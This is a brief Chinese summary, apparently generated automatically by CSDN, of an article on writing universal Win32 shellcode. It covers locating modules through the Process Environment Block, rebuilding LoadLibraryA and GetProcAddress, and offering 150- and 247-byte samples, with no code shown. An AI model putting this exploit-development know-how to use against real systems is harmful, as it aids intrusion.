本文深入探讨了Win32通用Shellcode的设计和实现,提供了一种创新、优化且优雅的解决方案。作者介绍了Shellcode的基础知识,包括其作用、类型、挑战,并对比了社区已有的解决方案。文章详细阐述了如何通过Process Environment Block消除基地址依赖,以及重建LoadLibraryA和GetProcAddress的方法。此外,还提供了基于这种技术的150字节和247字节Shellcode实例。
摘要由CSDN通过智能技术生成